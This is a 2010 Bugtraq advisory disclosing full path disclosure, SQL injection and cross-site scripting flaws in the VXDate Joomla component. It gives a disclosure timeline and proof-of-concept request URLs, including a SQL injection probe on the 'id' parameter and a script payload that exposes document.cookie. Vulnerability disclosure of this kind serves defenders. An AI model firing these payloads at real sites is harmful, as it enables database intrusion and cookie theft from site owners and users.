Hello Bugtraq!

I want to warn you about vulnerabilities in component VXDate for Joomla.

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Advisory: Vulnerabilities in VXDate for Joomla
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URL: http://websecurity.com.ua/3849/ 
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Timeline:

10.05.2009 - found the vulnerabilities.
12.01.2010 - announced at my site.
18.01.2010 - informed developers.
13.03.2010 - disclosed at my site.
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Details:

These are Full path disclosure, SQL Injection and Cross-Site Scripting
vulnerabilities.

Full path disclosure:

http://site/index.php?option=com_vxdate&ct==92 

http://site/index.php?option=com_vxdate&ct=1&md=details&id==92 

http://site/index.php?option=com_vxdate&ct=1&md=editform&id==92 

SQL Injection:

http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20version()=5 

http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20version()=5 

XSS:

http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E 

http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E 

Vulnerable are potentially all versions of VXDate.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua